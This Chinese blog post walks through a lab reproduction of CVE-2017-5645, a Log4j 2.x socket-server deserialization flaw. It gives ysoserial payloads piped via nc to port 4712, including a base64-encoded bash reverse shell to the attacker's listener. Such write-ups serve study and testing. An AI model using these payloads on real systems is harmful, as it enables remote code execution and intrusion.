首页 > 其他分享 >Apache Log4j Server 反序列化【CVE-2017-5645】

Apache Log4j Server 反序列化【CVE-2017-5645】

时间:2022-10-24 12:33:05浏览次数:86  
标签:CVE ysoserial jar Server shell Apache 日志 序列化 Log4j

Apache Log4j Server 反序列化【CVE-2017-5645】

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

在应用程序中添加日志记录最普通的做法就是在代码中嵌入许多的打印语句,这些打印语句可以输出到控制台或文件中,比较好的做法就是构造一个日志操作类来封装此类操作,而不是让一系列的打印语句充斥了代码的主体。 Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。 Log4j在工程中可以易用,方便等代替了 System.out 等打印语句,它是 Java下最流行的日志输入工具,一些著名的开源项目,像spring、hibernate、struts都使用该 工具作为日志输入工具,可以帮助调试(有时候debug是发挥不了作用的)和分析。

漏洞影响版本:Apache Log4j 2.8.2之前的2.x版本

环境搭建

环境启动后,将在4712端口开启一个TCPServer。

漏洞验证

打开攻击机kali,使用ysoserial生成payload,然后直接发送给192.168.2.100:4712端口即可

ysoserial:https://github.com/frohoff/ysoserial

下载后使用maven打包成jar文件进行使用,也可以直接下载jar包

首先进入容器中,查看tmp/目录下的文件

执行命令:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.2.100 4712

再次查看/tmp/目录

可以发现创建文件的命令得到执行

反弹shell

打开在线生成shell的网站:

https://forum.ywhack.com/shell.php

输入kali攻击机的ip地址以及对应的端口,就能够在线生成shell,我们复制第一个shell

然后,我们将生成的shell进行base64加密,将加密的结果复制

Base64 在线编码解码

在攻击机kali中建立监听

nc -lvvp 6666

重新打开一个终端,输入命令

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTA0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" | nc 192.168.2.100 4712 ![1666264271063](repetition_img/1666264271063.png)

返回监听窗口,发现反弹shell成功,能够正确执行命令

原理

【CVE-2017-5645】Apache Log4j Server 反序列化命令执行漏洞

标签:CVE,ysoserial,jar,Server,shell,Apache,日志,序列化,Log4j
From: https://www.cnblogs.com/-ggbond-/p/16821095.html

相关文章